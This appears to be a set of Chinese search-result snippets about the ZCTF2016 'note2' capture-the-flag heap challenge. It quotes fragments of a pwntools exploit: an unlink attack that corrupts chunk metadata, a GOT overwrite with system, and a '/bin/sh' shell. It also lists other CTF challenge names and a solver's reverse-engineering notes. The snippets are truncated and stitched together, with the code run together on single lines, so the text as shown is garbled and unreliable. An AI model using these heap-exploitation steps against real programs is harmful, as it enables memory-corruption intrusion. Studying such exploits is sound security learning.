释放chunk1 - 覆盖 chunk2 - 释放 chunk2 对应的代码如下 # edit the chunk1 to overwrite the chunk2deletenote(1)content='a'*16+p64(0xa0)+p64(0x90)newnote(0,content)# delete note 2 to trigger the unlink# after unlink, ptr[0] = ptr - 0x18deletenote(2) 首先释放 chunk1,由于该 chun...
io.recvuntil('Input the length of the note content:(less than 128)') io.sendline(str(size)) io.recvuntil('Input the note content:') io.sendline(content)defshow(num): io.recvuntil('option--->>') io.sendline('2') io.recvuntil('Input the id of the note:') io.sendline(str(num)) ...
ZCTF2016_note2 exp.py note2 note2.i64 asis2016_b00ks bctf2016_bcloud bctf2018_baby_arena ciscn2017_NotFormat ciscn2018_semifinal_pwn2 ciscn2018_semifinal_pwn3 cmcc_pwnme1 cmcc_pwnme2 cmcc_pwnme3 cmcc_simplerop hgame2018_flag_server hitb2017_1000levels hitb2018_gundam hitconTraining_bamboobo...
由于此时 ptr[0] 的地址 got 表的地址,所以我们可以直接修改该 note,覆盖为 system 地址。 Getshell # get shell sh.recvuntil('option--->>') sh.sendline('/bin/sh') sh.interactive() 最终EXP frompwnimport*p=process('./note2')note2=ELF('./note2')libc=ELF('/lib/x86_64-linux-gnu/libc....
代码量挺大的,逆起来有难度 功能挺全,啥都有 main函数 add函数,有heaparray并且无pie保护,考虑unlink show函数,可以泄漏地址用 edit函数,有两种edit方式 delete,找不到UAF洞 看了好久,都没找到漏洞,我是five,后来看到了师傅的博客,发现了漏洞点 在a